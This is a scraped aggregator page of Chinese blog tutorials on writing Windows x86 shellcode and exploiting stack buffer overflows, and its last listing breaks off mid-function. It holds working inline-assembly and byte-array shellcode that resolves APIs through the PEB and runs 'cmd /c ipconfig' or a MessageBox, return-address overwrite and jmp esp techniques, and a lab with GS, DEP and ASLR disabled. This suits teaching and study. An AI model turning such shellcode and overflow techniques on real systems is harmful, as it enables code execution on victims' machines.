精华内容
下载资源
问答
  • Shellcode

    千次阅读 2016-10-18 21:59:32
    Shellcode

    整理下Shellcode相关

    先看下网上的定义:

        Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hackerVxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。

     

    接下来分析下原理:

    首先如果我们用C++定义一个函数,反汇编通常会这样:

    push ebp

    mov ebp ,esp

    ...

    ...

    ...

    mov esp,ebp

    pop ebp

     

        首先push ebp存储ebp,然后用寄存器ebp存储espesp是当前堆栈指针。

    如果我们此时在函数里定义了相关局部变量,那么esp就会做减法,比如之前是A,那么esp现在就是A-Size,这个Size的大小就是局部变量大小,然后区间[A-sizeA]就是用来存储新变量的。当函数退出的时候,就执行相反操作,还原esp,然后再还原ebp,之后会继续从栈里面取出来一个值,直接通过这个值跳转到函数退出的位置。

     

    1.定义一个空的main函数

     

    对应反汇编如下


    2.继续定义一个简单函数:

     

    反汇编代码如下:

     

    3.定义变量的函数

     

    反汇编代码:

     

        基本是满足上面说的那个的,但是仔细观察会发现几个问题,首先例子2没有mov esp,ebp是因为本身esp没有变化,也就是没有在函数里面开变量,然后是 pop ebp之后又多出来一个ret但是没有pop aa ,jump aa。这个地方我是这么理解的:

        return   等价于  pop ebp , ret

        ret 等价于 pop A ,jump A

        这样就能理解了。同时还要注意一点就是在调用MessageBox的时候(其他也是)我们负责push了四个参数,然后等函数调用完成之后没有进行pop这四个参数,原因是,MessageBox函数里面已经帮我们处理完了。

      而shellcode的原理就是通过给内存传递大于本来能存储的内容,导致在函数里面存储变量的站地址[esp-A ,A]之间的内容过多,使得栈被破坏,首先破坏的是栈里备份的ebp,其次就是函数返回地址,也就是我们可以故意通过溢出来修改栈地址,至于修改内容,就是直接写机器码。把相关机器码拷贝过去,但是注意一点就是要注意函数的反汇编结构,否则很容易导致函数无法退出等崩溃。

    例如下面的例子:

     

        这样的崩溃其实就是导致Fun里面的堆栈被破坏,使得Fun函数退出的时候准备从栈里找回去的地址,但是该地址被破坏,导致无法预知的异常。

      至于机器码:可以通过vs写好功能C++代码之后,运行起来,然后进行反汇编,反汇编可以找每一行汇编的内存地址,然后再根据地址在vs上直接定位到内存信息就可以了,大体是这样:


      为了方便理解shellcode,我写了一个测试例子:调用一个函数,同时跳转到另外两个函数,最后在跳转回来,这个例子刚写的时候崩溃了很多次,原因是我注释里面加********的那一行。

     

    #include <string>
    #include <windows.h>
    using namespace std;
     
    DWORD dwGetHomeAddress ;// 跳回main函数的地址  
    typedef VOID (*TYPEFUN)();
    TYPEFUN m_pF0;  //函数0地址
    TYPEFUN m_pF1;  //函数1地址
    TYPEFUN m_pF2;  //函数2地址
     
    VOID Func0(){
    MessageBox(NULL ,L"f0" ,L"tit" ,MB_OK);
    DWORD dwNextCmdAddress;//接下来跳转地址
    __asm{
    mov esp,ebp
    //pop ebp ***
    pop dwNextCmdAddress
    push dwGetHomeAddress
    ret
    }
    }
     
    VOID Func1(){
    MessageBox(NULL ,L"f1" ,L"tit" ,MB_OK);
    DWORD dwNextCmdAddress;//接下来跳转地址
    __asm{
      mov esp,ebp
      //pop ebp ***
      pop dwNextCmdAddress
      push m_pF0
      ret
    }
    }
    VOID Func2(){
    MessageBox(NULL ,L"f2" ,L"tit" ,MB_OK);
    DWORD dwNowEbp ,dwNowEsp;
    DWORD dwStackEbp ,dwStackEsp;
    __asm{
        mov dwNowEbp ,ebp
    mov dwNowEsp ,esp
                       //临时存储下
     
    mov esp ,ebp       //修改函数退出跳转地址为f1地址,同时把回家地址(跳转到main)存在dwGetHomeAddress里
    pop dwStackEbp
    pop dwGetHomeAddress
    push m_pF1
    push dwStackEbp
                      //恢复寄存器的值
    mov ebp,dwNowEbp
    mov esp,dwNowEsp
    }
    }
    int _tmain(int argc, _TCHAR* argv[]){
    m_pF0 = Func0;
    m_pF1 = Func1;
    m_pF2 = Func2;
    Func2();
    MessageBox(NULL ,L"main" ,L"tit" ,MB_OK);
    return 0;
    }
     

    OK 就简单整理这些,之后在上相关的应用吧。

    展开全文
  • shellcode

    2016-01-04 11:06:19
    shellcode
           
    
    

    Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。(来自度娘)。

    如下链接是shellcode编写的基础,仅供参考

     http://blog.chinaunix.net/uid-24917554-id-3506660.html

    缓冲区溢出的shellcode很多了,这里重现下缓冲区溢出。

    1. int fun(char *shellcode)  
    2. {  
    3.     char str[4]="";//这里定义4个字节  
    4.     strcpy(str,shellcode);//这两个shellcode如果超过4个字节,就会导致缓冲区溢出  
    5.     printf("%s",str);  
    6.     return 1;  
    7. }  
    8. int main(int argc, char* argv[])  
    9. {  
    10.   char str[]="aaaaaaaaaaaaaaaaaaa!";  
    11.   fun(str);  
    12.   return 0;  
    13. }  
    int fun(char *shellcode)
    {
    	char str[4]="";//这里定义4个字节
    	strcpy(str,shellcode);//这两个shellcode如果超过4个字节,就会导致缓冲区溢出
    	printf("%s",str);
    	return 1;
    }
    int main(int argc, char* argv[])
    {
      char str[]="aaaaaaaaaaaaaaaaaaa!";
      fun(str);
      return 0;
    }

    如上程序,会导致缓冲区溢出。

    程序运行后截图如下

    如上可以看出来,异常偏移是61616161,其实自己观察61616161其实就是aaaa的Hex编码

    因为调用函数的过程大致是
    1:将参数从右到左压入堆栈
    2:将下一条指令的地址压入堆栈
    3:函数内部的临时变量申请
    4:函数调用完成,退出
    

    内存栈区从高到低

    [参数][ebp][返回地址][函数内部变量空间]
    如上程序,如果函数内部变量空间比较小,执行strcpy时候,源字符串比目标字符串长,就会覆盖函数返回地址,导致程序流程变化

    如图


    0048FE44前四个00是str申请的四个字节的并初始化为00,后面的48FF1800是函数的返回地址,再后面的411E4000是ebp,既调用函数的基址。

    再往下执行strcpy函数后,可以看见aaaaaaaa覆盖了返回地址

    如图


    可以看见0018FF44地址后面的函数返回地址和ebp都被61填充了。

    fun函数执行完后,返回调用fun函数地址时候,导致程序报错。

    缓冲区溢出的简单讲解如上,这时候,如果我们把返回地址改成我们自己的函数地址,不就可以执行我们自己的程序了?

    缓冲区溢出利用就是把返回地址改成我们自己的函数地址,上面的方法就是覆盖eip,既返回地址,还有一种方法是覆盖SHE,原理差不多。

    了解了基本原理,下面可以编写利用的代码

    缓冲区溢出,基本的使用方法是jmp esp,覆盖的eip指针是jmp esp的地址,利用的字符串结构如下

    [正常的字符串][jmp esp的地址][执行的代码(shellcode)]

    关于获取jmp esp的代码,可以自己写个程序,从系统中查找jmp esp代码0xFFE4。

    下面开始编写shellcode以及调用实现

    1. void fun()  
    2. {  
    3.     __asm  
    4.     {  
    5.      mov eax, dword ptr fs:[0x30];  
    6.      mov eax, dword ptr [eax+0xC];  
    7.      mov eax, dword ptr [eax+0xC];  
    8.      mov eax, dword ptr [eax];  
    9.      mov eax, dword ptr [eax];  
    10.      mov eax, dword ptr [eax+0x18];  
    11.      mov ebp,eax                        //Kernel.dll基址  
    12.      mov eax,dword ptr ss:[ebp+3CH]      // eax=PE首部  
    13.      mov edx,dword ptr ds:[eax+ebp+78H]  //  
    14.      add edx,ebp                        // edx=引出表地址  
    15.      mov ecx,dword ptr ds:[edx+18H]      // ecx=导出函数个数,NumberOfFunctions  
    16.      mov ebx,dword ptr ds:[edx+20H]      //  
    17.      add ebx,ebp                        // ebx=函数名地址,AddressOfName  
    18. start:                                  //  
    19.      dec ecx                            // 循环的开始  
    20.      mov esi,dword ptr ds:[ebx+ecx*4]   //  
    21.      add esi,ebp                        //  
    22.      mov eax,0x50746547                   //  
    23.      cmp dword ptr ds:[esi],eax         // 比较PteG  
    24.      jnz start                     //  
    25.      mov eax,0x41636F72                   //  
    26.      cmp dword ptr ds:[esi+4],eax       // 比较Acor,通过GetProcA几个字符就能确定是GetProcAddress  
    27.      jnz start                     //  
    28.      mov ebx,dword ptr ds:[edx+24H]      //  
    29.      add ebx,ebp                        //  
    30.      mov cx,word ptr ds:[ebx+ecx*2]     //  
    31.      mov ebx,dword ptr ds:[edx+1CH]      //  
    32.      add ebx,ebp                        //  
    33.      mov eax,dword ptr ds:[ebx+ecx*4]   //  
    34.      add eax,ebp                        // eax 现在是GetProcAddress地址  
    35.      mov ebx,eax                        // GetProcAddress地址存入ebx,如果写ShellCode的话以后还可以继续调用  
    36.      push 0                             //  
    37.      push 0x636578                        //  
    38.      push 0x456E6957                      // 构造WinExec字符串  
    39.      push esp                           //  
    40.      push ebp                           // ebp是kernel32.dll的基址   
    41.      call ebx                           // 用GetProcAdress得到WinExec地址  
    42.      mov ebx,eax                        // WinExec地址保存到ecx  
    43.    
    44.      push 0x00676966  
    45.      push 0x6E6F6370  
    46.      push 0x6920632F  
    47.      push 0x20646d63    //cmd压入栈  
    48.   
    49.      lea eax,[esp];     //取到cmd首地址  
    50.      push 1             //  
    51.      push eax           // ASCII "cmd /c ipconfig"  
    52.      call ebx           // 执行WinExec  
    53.     // leave            // 跳回原始入口点  
    54.     }  
    55. }  
    void fun()
    {
    	__asm
    	{
         mov eax, dword ptr fs:[0x30];
         mov eax, dword ptr [eax+0xC];
         mov eax, dword ptr [eax+0xC];
         mov eax, dword ptr [eax];
         mov eax, dword ptr [eax];
         mov eax, dword ptr [eax+0x18];
         mov ebp,eax                        //Kernel.dll基址
         mov eax,dword ptr ss:[ebp+3CH]      // eax=PE首部
         mov edx,dword ptr ds:[eax+ebp+78H]  //
         add edx,ebp                        // edx=引出表地址
         mov ecx,dword ptr ds:[edx+18H]      // ecx=导出函数个数,NumberOfFunctions
         mov ebx,dword ptr ds:[edx+20H]      //
         add ebx,ebp                        // ebx=函数名地址,AddressOfName
    start:                                  //
         dec ecx                            // 循环的开始
         mov esi,dword ptr ds:[ebx+ecx*4]   //
         add esi,ebp                        //
         mov eax,0x50746547                   //
         cmp dword ptr ds:[esi],eax         // 比较PteG
         jnz start                     //
         mov eax,0x41636F72                   //
         cmp dword ptr ds:[esi+4],eax       // 比较Acor,通过GetProcA几个字符就能确定是GetProcAddress
         jnz start                     //
         mov ebx,dword ptr ds:[edx+24H]      //
         add ebx,ebp                        //
         mov cx,word ptr ds:[ebx+ecx*2]     //
         mov ebx,dword ptr ds:[edx+1CH]      //
         add ebx,ebp                        //
         mov eax,dword ptr ds:[ebx+ecx*4]   //
         add eax,ebp                        // eax 现在是GetProcAddress地址
         mov ebx,eax                        // GetProcAddress地址存入ebx,如果写ShellCode的话以后还可以继续调用
         push 0                             //
         push 0x636578                        //
         push 0x456E6957                      // 构造WinExec字符串
         push esp                           //
         push ebp                           // ebp是kernel32.dll的基址 
         call ebx                           // 用GetProcAdress得到WinExec地址
         mov ebx,eax                        // WinExec地址保存到ecx
     
         push 0x00676966
         push 0x6E6F6370
         push 0x6920632F
         push 0x20646d63    //cmd压入栈
    
         lea eax,[esp];     //取到cmd首地址
         push 1             //
         push eax           // ASCII "cmd /c ipconfig"
         call ebx           // 执行WinExec
        // leave            // 跳回原始入口点
    	}
    }
    


    1. int main(int argc, char* argv[])  
    2. {  
    3.    fun();  
    4. }  
    int main(int argc, char* argv[])
    {
       fun();
    }



    如果汇编代码在vc调试下,获取二进制代码如图:


    查看00401A08的地址,可以看出是fun函数的汇编代码

    shellcode代码基本获取到了,现在是要把他复制出来,

    我取出来的后,如下

    1. unsigned char shellcode[]={  
    2.     0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,0x0C,0x8B,0x00,0x8B,0x00,0x8B,0x40,0x18,0x8B,0xE8,0x36,0x8B,0x45,  
    3.     0x3C,0x3E,0x8B,0x54,0x28,0x78,0x03,0xD5,0x3E,0x8B,0x4A,0x18,0x3E,0x8B,0x5A,0x20,0x03,0xDD,0x49,0x3E,0x8B,0x34,0x8B,0x03,  
    4.     0xF5,0xB8,0x47,0x65,0x74,0x50,0x3E,0x39,0x06,0x75,0xEF,0xB8,0x72,0x6F,0x63,0x41,0x3E,0x39,0x46,0x04,0x75,0xE4,0x3E,0x8B,  
    5.     0x5A,0x24,0x03,0xDD,0x66,0x3E,0x8B,0x0C,0x4B,0x3E,0x8B,0x5A,0x1C,0x03,0xDD,0x3E,0x8B,0x04,0x8B,0x03,0xC5,0x8B,0xD8,0x6A,  
    6.     0x00,0x68,0x78,0x65,0x63,0x00,0x68,0x57,0x69,0x6E,0x45,0x54,0x55,0xFF,0xD3,0x8B,0xD8,0x68,0x66,0x69,0x67,0x00,0x68,0x70,  
    7.     0x63,0x6F,0x6E,0x68,0x2F,0x63,0x20,0x69,0x68,0x63,0x6D,0x64,0x20,0x8D,0x04,0x24,0x6A,0x01,0x50,0xFF,0xD3};  
    unsigned char shellcode[]={
        0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,0x0C,0x8B,0x00,0x8B,0x00,0x8B,0x40,0x18,0x8B,0xE8,0x36,0x8B,0x45,
        0x3C,0x3E,0x8B,0x54,0x28,0x78,0x03,0xD5,0x3E,0x8B,0x4A,0x18,0x3E,0x8B,0x5A,0x20,0x03,0xDD,0x49,0x3E,0x8B,0x34,0x8B,0x03,
        0xF5,0xB8,0x47,0x65,0x74,0x50,0x3E,0x39,0x06,0x75,0xEF,0xB8,0x72,0x6F,0x63,0x41,0x3E,0x39,0x46,0x04,0x75,0xE4,0x3E,0x8B,
        0x5A,0x24,0x03,0xDD,0x66,0x3E,0x8B,0x0C,0x4B,0x3E,0x8B,0x5A,0x1C,0x03,0xDD,0x3E,0x8B,0x04,0x8B,0x03,0xC5,0x8B,0xD8,0x6A,
        0x00,0x68,0x78,0x65,0x63,0x00,0x68,0x57,0x69,0x6E,0x45,0x54,0x55,0xFF,0xD3,0x8B,0xD8,0x68,0x66,0x69,0x67,0x00,0x68,0x70,
        0x63,0x6F,0x6E,0x68,0x2F,0x63,0x20,0x69,0x68,0x63,0x6D,0x64,0x20,0x8D,0x04,0x24,0x6A,0x01,0x50,0xFF,0xD3};

    稍作了下加工,0x是HEX的方式。

    下面是我们调用shellcode,看是否可以用

    程序如下:

    1. int main(int argc, char* argv[])  
    2. {  
    3.     unsigned char shellcode[]={  
    4.     0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,0x0C,0x8B,0x00,0x8B,0x00,0x8B,0x40,  
    5.     0x18,0x8B,0xE8,0x36,0x8B,0x45,0x3C,0x3E,0x8B,0x54,0x28,0x78,0x03,0xD5,0x3E,0x8B,0x4A,0x18,  
    6.     0x3E,0x8B,0x5A,0x20,0x03,0xDD,0x49,0x3E,0x8B,0x34,0x8B,0x03,0xF5,0xB8,0x47,0x65,0x74,0x50,  
    7.     0x3E,0x39,0x06,0x75,0xEF,0xB8,0x72,0x6F,0x63,0x41,0x3E,0x39,0x46,0x04,0x75,0xE4,0x3E,0x8B,  
    8.     0x5A,0x24,0x03,0xDD,0x66,0x3E,0x8B,0x0C,0x4B,0x3E,0x8B,0x5A,0x1C,0x03,0xDD,0x3E,0x8B,0x04,  
    9.     0x8B,0x03,0xC5,0x8B,0xD8,0x6A,0x00,0x68,0x78,0x65,0x63,0x00,0x68,0x57,0x69,0x6E,0x45,0x54,  
    10.     0x55,0xFF,0xD3,0x8B,0xD8,0x68,0x66,0x69,0x67,0x00,0x68,0x70,0x63,0x6F,0x6E,0x68,0x2F,0x63,  
    11.     0x20,0x69,0x68,0x63,0x6D,0x64,0x20,0x8D,0x04,0x24,0x6A,0x01,0x50,0xFF,0xD3};  
    12.     //三种方式执行shellcode  
    13.     //第一种  
    14.     ((void (*)())&shellcode)(); // 执行shellcode  
    15.     //第二种  
    16.     __asm     
    17.    {     
    18.       lea eax,shellcode;     
    19.       jmp eax;     
    20.    }   
    21.    //第三种  
    22.     __asm  
    23.    {  
    24.       lea eax, shellcode  
    25.       push eax  
    26.       ret   
    27.    }  
    28. }  
    int main(int argc, char* argv[])
    {
        unsigned char shellcode[]={
        0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,0x0C,0x8B,0x00,0x8B,0x00,0x8B,0x40,
        0x18,0x8B,0xE8,0x36,0x8B,0x45,0x3C,0x3E,0x8B,0x54,0x28,0x78,0x03,0xD5,0x3E,0x8B,0x4A,0x18,
        0x3E,0x8B,0x5A,0x20,0x03,0xDD,0x49,0x3E,0x8B,0x34,0x8B,0x03,0xF5,0xB8,0x47,0x65,0x74,0x50,
        0x3E,0x39,0x06,0x75,0xEF,0xB8,0x72,0x6F,0x63,0x41,0x3E,0x39,0x46,0x04,0x75,0xE4,0x3E,0x8B,
        0x5A,0x24,0x03,0xDD,0x66,0x3E,0x8B,0x0C,0x4B,0x3E,0x8B,0x5A,0x1C,0x03,0xDD,0x3E,0x8B,0x04,
        0x8B,0x03,0xC5,0x8B,0xD8,0x6A,0x00,0x68,0x78,0x65,0x63,0x00,0x68,0x57,0x69,0x6E,0x45,0x54,
        0x55,0xFF,0xD3,0x8B,0xD8,0x68,0x66,0x69,0x67,0x00,0x68,0x70,0x63,0x6F,0x6E,0x68,0x2F,0x63,
        0x20,0x69,0x68,0x63,0x6D,0x64,0x20,0x8D,0x04,0x24,0x6A,0x01,0x50,0xFF,0xD3};
        //三种方式执行shellcode
        //第一种
        ((void (*)())&shellcode)(); // 执行shellcode
        //第二种
        __asm   
       {   
          lea eax,shellcode;   
          jmp eax;   
       } 
       //第三种
        __asm
       {
          lea eax, shellcode
          push eax
          ret 
       }
    }

    至此,shellcode的编写完成了,如上这只是shellcode大致编写过程,是在windows下环境编写的,linux环境下的编写过程基本相同

    至于更高级的利用,可以去看雪论坛逛逛。


    展开全文
  • ShellCode

    2019-09-26 02:48:27
    典型栈溢出A-代码分析ShellCode-A#include "pch.h"#include <iostream>#include <Windows.h>#define PASSWORD "15PB"// GS: 用于判断当前是否产生了溢出,依赖的是检查安全 cookie, CheckStackValue// ...


    典型栈溢出A-代码分析

    ShellCode-A

    #include "pch.h"
    #include <iostream>
    #include <Windows.h>
    #define PASSWORD "15PB"
    // GS: 用于判断当前是否产生了溢出,依赖的是检查安全 cookie, CheckStackValue
    // inline: 没有关闭代码优化,导致一些简单的代码被直接内联了
    // dep: 这个程序中不关闭 DEP 会导致 shellcode 无法执行
    // aslr: 地址空间随机化,栈和加载基址等都不是固定的,需要关闭它
    int VerifyPassword(char *pszPassword, int nSize)
    {
        // szBuffer 是溢出的数组,溢出的数据被保存在这个位置
    char szBuffer[50] = {0};
        // 崩溃产生的原因是 nSize 作为拷贝的大小,超出了栈的范围
    memcpy(szBuffer, pszPassword, nSize);
    return strcmp(PASSWORD, szBuffer);
    }

    int main()
    {
    int nFlag = 0;
    char szPassword[0x200] = {0};
    int nFileSize = 0;
    FILE *fp;
    LoadLibraryA("user32.dll");
    if (NULL==(fp=fopen("password.txt","rb")))
    {
    MessageBoxA(NULL, "打开文件失败", "error", NULL);
    exit(0);
    }
    fseek(fp, 0, SEEK_END);
    nFileSize = ftell(fp);
    rewind(fp);
    fread(szPassword, nFileSize, 1, fp);
    nFlag = VerifyPassword(szPassword, nFileSize);
    if (nFlag)
    {
    printf("密码错误");
    }
    else
    {
    printf("密码正确");
    }
    fclose(fp);
    system("pause");
    return 0;
    }

    禁用安全检查

    1565589379281

    禁用优化

    1565589513405

    禁用随机地址

    1565630796541

    在同个文件夹下面创建password.txt。输入很多A,让程序崩溃。

    控制面板-管理工具-日志-程序应用

    1565591056365

    因为我输入的是全部A的一长串,所以这里显示41是A的ascii吗。

    1565591678067

    1565592486057

    找到的MessageBoxA地址是76FA1F85

    用010Editor修改。会弹出白框。

    1565630986597

    1565595231639

    ShellCode-B

    1565599207778

    1565599640353

    1565599920615

    #include "pch.h"
    #include <iostream>
    #include <windows.h>
    int main()
    {
    __asm
    {
    SUB ESP, 0x20
    JMP tag_Shellcode
    _asm _emit(0x70)_asm _emit(0x1F)_asm _emit(0xFA)_asm _emit(0x76)
    _asm _emit(0x20)_asm _emit(0x4F)_asm _emit(0x2F)_asm _emit(0x77)
    _asm _emit(0x48)_asm _emit(0x48)_asm _emit(0x48)_asm _emit(0x48)
    _asm _emit(0x48)_asm _emit(0x48)_asm _emit(0x48)_asm _emit(0x48)
    _asm _emit(0x48)_asm _emit(0x48)_asm _emit(0x48)_asm _emit(0x48)
    _asm _emit(0x00)
    tag_Shellcode:
    CALL tag_Next
    tag_Next :
    POP ESI
    XOR EDX, EDX
    LEA EDI, [ESI - 0X12]
    MOV EAX, [ESI - 0X1A]
    PUSH EDX
    PUSH EDI
    PUSH EDI
    PUSH EDX
    CALL EAX
    MOV EAX, [ESI - 0X16]
    PUSH EDX
    CALL EAX
    }
    MessageBoxA(0, 0, 0, 0);
    }

    详细讲解:

    ShellCode-C

    #include <windows.h>

    // 定义成数组是为了让字符串不被保存在常量区
    char shellcode[] = "\x83\xEC\x20\xEB\x15\x80\x03\xB4\x77\xF0\x58\x72\x77\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64\x21\x00\xE8\x00\x00\x00\x00\x5E\x33\xD2\x8D\x7E\xEE\x8B\x46\xE6\x52\x57\x57\x52\xFF\xD0\x8B\x46\xEA\x52\xFF\xD0";

    // dep: 数据执行保护,防止数据区域被作为代码执行

    int main()
    {
    /*__asm
    {
    ; 如果没有开辟栈帧,那么在操作 ebp 和 esp 的地址时,极有可能
    ; 会覆盖掉已执行或未执行的 shellcode 代码,所以通常需要开辟空间
    ; 并且开辟的大小应该要大于 OPCODE 的长度
    sub esp, 0x20
    ; 跳转到 shellcode 区域
    jmp tag_Shellcode
    ; (getpc() - 0x1A) MessageBoxA 的地址,由于通常使用小端存储,需要按字节颠倒顺序
    _asm _emit(0x80) _asm _emit(0x03) _asm _emit(0xB4) _asm _emit(0x77)
    ; (getpc() - 0x16) ExitProcess 的地址,同样通过 ctrl + g 找到的
    _asm _emit(0xF0) _asm _emit(0x58) _asm _emit(0x72) _asm _emit(0x77)
    ; (getpc() - 0x12) Hello 15Pb 字符串,_emit 添加一个字符到所在位置
    _asm _emit(0x48) _asm _emit(0x65) _asm _emit(0x6C) _asm _emit(0x6C)
    _asm _emit(0x6F) _asm _emit(0x20) _asm _emit(0x57) _asm _emit(0x6F)
    _asm _emit(0x72) _asm _emit(0x6C) _asm _emit(0x64) _asm _emit(0x21)
    _asm _emit(0x00)

    ; 使用了 GetPC 技术,用于获取一个基址,作为参照物
    tag_Shellcode:
    call tag_next
    tag_next:
    ; call 会使当前指令的地址入栈, pop 获取了当前指令地址
    ; 将当前指令所在的地址,作为想要查找的数据的参照基址
    pop esi

    ; 获取函数地址和参数,并且调用 MessageBoxA
    xor edx, edx
    lea edi, [esi - 0x12]
    mov eax, [esi - 0x1A]
    push edx
    push edi
    push edi
    push edx
    call eax

    ; 获取 ExitProcess 函数,退出程序
    mov eax, [esi - 0x16]
    push edx
    call eax
    }*/

    __asm
    {
    lea eax, shellcode
    push eax
    ret
    }

    // 为了让当前程序中存在 MessageBoxA 这个函数
    MessageBoxA(0, 0, 0, 0);
    }

    // 通过使用 jmp esp 地址覆盖返回地址,使 ret 时,跳转到 jmp esp 指令 位置
    // jmp esp 的地址会因为 ret 而被 pop 出来,所以 shellcode 需要紧跟着写在
    // jmp esp 地址的后面。

    ShellCode-G


    #include "pch.h"
    #include <iostream>
    #include <windows.h>
    int main()
    {
    __asm
    {
    PUSHAD
    SUB ESP, 0x20          //开辟一段栈空间,增加健壮性。
    JMP tag_Shellcode   //前置代码,避免后面的数据被解释为指令

    // GetProcAddress
    // [tag_Next-0x51]
    _asm _emit(0x47)_asm _emit(0x65)_asm _emit(0x74)_asm _emit(0x50)
    _asm _emit(0x72)_asm _emit(0x6F)_asm _emit(0x63)_asm _emit(0x41)
    _asm _emit(0x64)_asm _emit(0x64)_asm _emit(0x72)_asm _emit(0x65)
    _asm _emit(0x73)_asm _emit(0x73)_asm _emit(0x00)

    // LoadLibraryExA\0
    // [tag_Next-0x43]       
    _asm _emit(0x4C)_asm _emit(0x6F)_asm _emit(0x61)_asm _emit(0x64)
    _asm _emit(0x4C)_asm _emit(0x69)_asm _emit(0x62)_asm _emit(0x72)
    _asm _emit(0x61)_asm _emit(0x72)_asm _emit(0x79)_asm _emit(0x45)
    _asm _emit(0x78)_asm _emit(0x41)_asm _emit(0x00)

    // User32.DLL\0
    // [tag_Next-0x34]         
    _asm _emit(0x55)_asm _emit(0x73)_asm _emit(0x65)_asm _emit(0x72)
    _asm _emit(0x33)_asm _emit(0x32)_asm _emit(0x2E)_asm _emit(0x64)
    _asm _emit(0x6C)_asm _emit(0x6C)_asm _emit(0x00)

    // MessageBoxA\0
    // [tag_Next-0x19] 
    _asm _emit(0x4D)_asm _emit(0x65)_asm _emit(0x73)_asm _emit(0x73)
    _asm _emit(0x61)_asm _emit(0x67)_asm _emit(0x65)_asm _emit(0x42)
    _asm _emit(0x6F)_asm _emit(0x78)_asm _emit(0x41)_asm _emit(0x00)

    // ExitProcess\0
    // [tag_Next-0x1D]        
    _asm _emit(0x45)_asm _emit(0x78)_asm _emit(0x69)_asm _emit(0x74)
    _asm _emit(0x50)_asm _emit(0x72)_asm _emit(0x6F)_asm _emit(0x63)
    _asm _emit(0x65)_asm _emit(0x73)_asm _emit(0x73)_asm _emit(0x00)

    // HelloWorld!\0
    // 因为Call tag_Next=push eip+jmp tag_Next的地址.
    // 所以这里是[tag_Next-0x11]
    // -0x12是因为这里_emit插入了12个字符,机器码位置+12+5个call的字节之后就是tag_Next的机器码位置。
    _asm _emit(0x48)_asm _emit(0x65)_asm _emit(0x6C)_asm _emit(0x6C)
    _asm _emit(0x6F)_asm _emit(0x20)_asm _emit(0x57)_asm _emit(0x6F)
    _asm _emit(0x72)_asm _emit(0x6C)_asm _emit(0x64)_asm _emit(0x00)



    // 1.GetPC
    tag_Shellcode:
    CALL tag_Next
    tag_Next :
    pop ebx //ebx = BaseAddr

    // 2.获取关键模块基址
    mov esi,dword ptr fs:[0x30] // esi = PEB的地址
    mov esi,[esi+0x0C] // esi = 指向PEB_LDR_DATA结构的指针
    mov esi,[esi+0x1C] // esi = 模块链表指针InInit..List
    mov esi,[esi] // esi = 访问链表中的第二个条目
    mov edx,[esi+0x08] // edx = 获取Kernel32.dll基址
    // 3.获取GetProcAddress的函数地址
    push ebx // BaseAddr
    push edx // Kernel32.dll
    call fun_GetProcAddress
    mov esi,eax

    // 4.获取LoadLibraryExA的函数地址
    lea ecx,[ebx-0x43]          // LoadLibraryEXw
    push ecx            // 传参-lpProcName=LoadLibraryExA
    push edx            // 传参-hModule=Kernel32.dll
    call eax            // GetProcAddress

    // 5.调用Payload部分
    push ebx        //BaseAddr
    push esi        //Addr_GetProcAddress
    push eax        //Addr_LoadLibraryExA
    push edx        //Kernerl32.dll
    call fun_Payload        //调用Payload

    //
    // 函数:获取关键函数地址,返回值为关键函数地址
    //
    fun_GetProcAddress://(int ImageBase,int BaseAddr)
    push ebp
    mov ebp,esp
    sub esp,0x0C
    push edx

    // 获取EAT ENT EOT
    mov edx,[ebp+0x08]       // 第二个参数Kernel32.dll
    mov esi,[edx+0x3C] // IMAGE_DOS_HEADER.E_LFANEW
    lea esi,[edx+esi] // PE文件头VA
    mov esi,[esi+0x78] // IMAGE_DIR...EXPORT.VirtualAddress
    lea esi,[edx+esi] // 导出表VA
    mov edi,[esi+0x1C] // IMAGE_EXP...ORY.AddressOfFuntions
    lea edi,[edx+edi] // EAT VA
    mov [ebp-0x04],edi // LOCAL_1
    mov edi,[esi+0x20] // IMAGE_EXP...ORY.AddressOfNames
    lea edi,[edx+edi] // ENT VA
    mov [ebp-0x08],edi // LOCAL_2
    mov edi,[esi+0x24] // IMAGE_EXP...ORY.AddressOfNameOrdinals
    lea edi,[edx+edi] // EOT VA
    mov [ebp-0x0C],edi // LOCAL_3

    xor eax,eax // 清零
    jmp tag_FirstCmp
    tag_CmpFunNameLoop: //
    inc eax // 循环计数增加1


    tag_FirstCmp:

    mov esi,[ebp-0x08] // LOCAL_2 ENT
    mov esi,[esi+4*eax] // ENT RVA 数组 eax为i
    mov edx,[ebp+0x08] // PARAM_1 =IMAGEBASE
    lea esi,[edx+esi] // ENT VA=IMAGEBASE+RVA
    mov ebx,[ebp+0x0C] // PARAM_2 =BaseAddr
    lea edi,[ebx-0x52] // GetProcAddress
    mov ecx,0x0E // GetProcAddress长度
    cld
    repe cmpsb
    jne tag_CmpFunNameLoop   // 如果不相等就继续比较
    // 3.成功后找到对应的序号
    mov esi,[ebp-0x0C] // LOCAL_3(EOT)
    xor edi,edi
    mov di,[esi+eax*2]       // 用函数名数组下标在序号数组找到对应的序号
    // 4.使用序号作为索引,找到函数名所对应的函数地址
    mov edx,[ebp-0x04] // LOCAL_1(EAT)
    mov esi,[edx+edi*4] // 用序号在函数地址数组找到对应的函数地址
    mov edx,[ebp+0x08] // PARAM_1(ImageBase)
    // 5.返回获取到的关键函数地址
    lea eax,[edx+esi] //GetProcAddress的地址
    pop edx
    mov esp,ebp
    pop ebp
